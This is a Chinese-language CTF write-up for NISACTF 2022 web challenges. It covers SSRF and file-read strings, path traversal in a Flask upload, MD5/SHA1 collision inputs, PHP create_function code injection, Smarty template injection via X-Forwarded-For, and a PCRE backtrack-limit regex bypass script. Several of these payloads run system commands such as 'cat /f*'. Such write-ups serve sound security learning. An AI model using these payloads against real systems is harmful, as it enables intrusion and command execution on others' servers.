NISACTF 2022-WEB部分wp

easyssrf

url=file:///flag

url=file:///fl4g

?file=../../../flag

checkin

源代码:

error_reporting(0);
include "flag.php";
// ‮⁦NISACTF⁩⁦Welcome to
if ("jitanglailo" == $_GET[ahahahaha] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦N1SACTF" == $_GET[‮⁦Ugeiwo⁩⁦cuishiyuan]) { //tnnd! weishenme b
    echo $FLAG;
}
show_source(__FILE__);
?>

 这题似乎有点奇怪,看别的师傅的wp

将源代码存为php文件,在txt中看到有其他编码,使用010等工具打开php文件,看到第二个get方式传递的参数有其他编码并且变量及数据变换了位置,实际上这才是真正传递的变量以及数据,将他们的十六进制复制出来(为什么不直接复制文本呢,因为复制文本直接GET提交就相当与提交的其他数据了),复制出来后,使用脚本或者手动将每个16进制数(2位),进行加百分号,此时即变成url形势的了,提交的数据将会经过pup自动转码,无法转码的则是源码内的其他编码,数据比对成功

payload:

?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6%20Flag!%E2%81%A9%E2%81%A6N1SACTF

babyupload

先看一下源代码

访问/source 

app.py

from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
    g_db = getattr(g, '_database', None)
    if g_db is None:
        g_db = g._database = sqlite3.connect("database.db")
    return g_db


@app.before_first_request
def setup():
    os.remove("database.db")
    cur = db().cursor()
    cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
    return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)
    return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

os.path.join()函数:
第一个以”/”开头的参数开始拼接,之前的参数全部丢弃,当有多个时,从最后一个开始

这题改一下filename="/flag"即可

level-up

查看一下源代码:

 

访问/robots.txt

 访问

level_2_1s_h3re.php

md5的强类型绕过(bp抓包在传,网页会二次编码导致失败)

array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

 访问Level___3.php

 同理sha1强碰撞

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

访问level_level_4.php

我们使用+绕过

payload:

?NI+SA+=txw4ever

访问55_5_55.php

这里看别的大佬的wp

create_function()简介
适用范围:PHP 4> = 4.0.1,PHP 5,PHP 7

功能:根据传递的参数创建匿名函数,并为其返回唯一名称。

语法:

create_function(string $args,string $code)
//string $args 声明的函数变量部分
//string $code 执行的方法代码部分

函数功能分析:

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>

输出:

New anonymous function:  lambda_1
ln(2) + ln(2.718281828459) = 1.6931471805599

reate_function()会创建一个匿名函数(lambda样式)

create_function()函数会在内部执行 eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string $code位置。

因此create_function函数等价于

<?php
function lambda1($a,$b){
    return "ln($a) + ln($b) = " . log($a * $b);
}
?>

在level5中,构造payload的时候,注意正则匹配
preg_match('/^[a-z0-9_]*$/isD',$a,说明我们在构造payload的时候第一个字母不能为数字或者字母,所以我们需要绕过正则,这里要用\(转义符绕过,构造payload:

?a=\create_function&b=return 'Leaf';}phpinfo();/*

解释一下上面的payload:

\的作用是绕过正则匹配preg_match,第一个;是让return 语句结束,}的作用是让create_function语句闭合,然后执行phpinfo();后面要加/*是为了让最后的}被注释掉来保证phpinfo()正常执行

好好好这么玩是吧

?a=\create_function&b=return 'Leaf';}system('ls /');/*

?a=\create_function&b=return 'Leaf';}system('cat /f*');/*

 midlevel

简介:

Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。
了解过Jinjia2模板注入的同学应该知道,jinjia2是基于python的,而Smarty是基于PHP的,所以理解起来还是很容易,我们只需要达到命令执行就可以了。

查看版本:

{$smarty.version}

常用标签
{php}
Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。

{php}phpinfo(){/php}

但是这个也是要分版本的,Smarty已经废弃{php}标签。在Smarty 3.1,{php}仅在SmartyBC中可用。

{literal} 标签
官方手册这样描述这个标签:

{literal}可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。

使用Javascript语句进行命令之执行,常见的变形语句:

<script language="php">phpinfo();</script>

因为{literal}支持javascprit语法,所以我们可以RCE,用法如下:

{literal}
<script language="php">phpinfo();</script>
{/literal}

{if}
{if}标签

官方文档中看到这样的描述:

Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||*, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}*

既然全部的PHP函数都可以使用,那么我们是可以利用此来执行我们的代码 

{if phpinfo()}{/if}
{if system('ls')}{/if}

可以看到我们有/api和/xff两个路由,一个变量是IP另一个是XFF,但是由于环境问题,我们不能通过构造IP来进行模板注入,所以我们只能通过伪造XFF来进行注入,利用burp suite来构造payload来查看当前的Smaryt 版本:

X-Forwarded-For:{$smarty.version}

payload:

X-Forwarded-For:{system('ls /')}

X-Forwarded-For:{system('cat /f*')}

 拿到flag

middlerce

源代码:

<?php
include "check.php";
if (isset($_REQUEST['letter'])){
    $txw4ever = $_REQUEST['letter'];
    if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
        die("再加把油喔");
    }
    else{
        $command = json_decode($txw4ever,true)['cmd'];
        checkdata($command);
        @eval($command);
    }
}
else{
    highlight_file(__FILE__);
}
?>

这题看别的师傅发的wp

这里使用的是正则匹配的NIF匹配引擎

这个匹配引擎的原理是基于从后往前回溯的匹配机制

NIF匹配机制
 当preg_match这个函数进行匹配时是匹配完后才根据匹配到与否来返回bool值

如果匹配到也要匹配完后才返回true,而且在匹配过程中

要匹配的第一个字符与字符串中的第一个进行匹配,如果匹配成功就一直匹配下去,直至匹配不成功就到第二个要匹配的字符,如果第二个匹配的字符成功了就一直匹配下去,如果不成功就吐出原匹配好的字符串最右边的一个字符进行匹配,如果还不成功就继续吐,直至匹配成功才到下一个要匹配的字符,但是我们知道,既然前一个匹配的字符成功了就肯定不符合下一个匹配的字符。哪这个回溯就没有什么用了,所以要利用这个特性就要有一个特殊的字符——.*

这个字符表示可以匹配任意的字符,那么按上面说的匹配机制, .*将会一直匹配到最后字符串的最后,然后轮到下一个字符,这样回溯才有它的利用价值

如:

要匹配的字符有.*和a           匹配asd这串字符串

1.第一个是.*匹配任意字符都成功所以匹配了asd

2.到a这个字符从后面往前回溯匹配,先吐出一个d但匹配不上,继续吐出一个s,sd还是与a匹配不上

3.直到吐出a,asd就匹配上了a

这样匹配就实现了回溯,这里回溯有一个回溯限制次数——100 万次

 当回溯超出这个次数,还没吐完的字符串就可以逃逸匹配

利用这个特性我们可以逃逸我们想要的语句,只要在我们的语句后加上100万个字符即可

等匹配超过这个次数时我们的语句自然就可以逃逸掉了

所有的讲解都是我对p神的文章的理解

PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户

 所有就可以写payload

import requests
url = 'http://node4.anna.nssctf.cn:28025/'
payload = '{"cmd":"?><?=`sort /f*`?>","+":"' + "-" * 1000000 + '"}'
res = requests.post(url=url, data={"letter": payload})
print(res.text)

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值